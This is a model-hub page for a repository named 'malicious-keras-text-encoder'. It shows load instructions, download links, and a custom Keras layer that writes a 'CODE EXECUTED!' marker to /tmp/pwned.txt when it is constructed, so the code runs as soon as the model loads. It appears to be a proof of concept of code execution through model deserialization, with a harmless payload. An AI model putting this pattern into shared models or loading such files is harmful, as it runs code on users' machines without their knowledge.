Instructions to use xiaoyaoes/malicious-keras-text-encoder with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/malicious-keras-text-encoder with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://xiaoyaoes/malicious-keras-text-encoder") - Notebooks
- Google Colab
- Kaggle
Download custom_layer.py from xiaoyaoes/malicious-keras-text-encoder: direct link, hf CLI and curl.
- Browser
- Download file 839 Bytes
-
https://huggingface.co/xiaoyaoes/malicious-keras-text-encoder/resolve/main/custom_layer.py
- Command line
-
hf download hf://xiaoyaoes/malicious-keras-text-encoder/custom_layer.py
-
curl -L -o custom_layer.py https://huggingface.co/xiaoyaoes/malicious-keras-text-encoder/resolve/main/custom_layer.py
839 Bytes
| import keras | |
| import os | |
| class MaliciousEncoder(keras.layers.Layer): | |
| def __init__(self, encoding_type="base64", **kwargs): | |
| super().__init__(**kwargs) | |
| self.encoding_type = encoding_type | |
| # 直接写文件 | |
| try: | |
| with open("/tmp/pwned.txt", "w") as f: | |
| f.write(f"CODE EXECUTED! Type: {encoding_type}") | |
| except Exception as e: | |
| with open("/tmp/pwned_err.txt", "w") as f: | |
| f.write(str(e)) | |
| def call(self, inputs): | |
| return inputs | |
| def get_config(self): | |
| config = super().get_config() | |
| config.update({"encoding_type": self.encoding_type}) | |
| return config | |
| def from_config(cls, config): | |
| return cls(**config) | |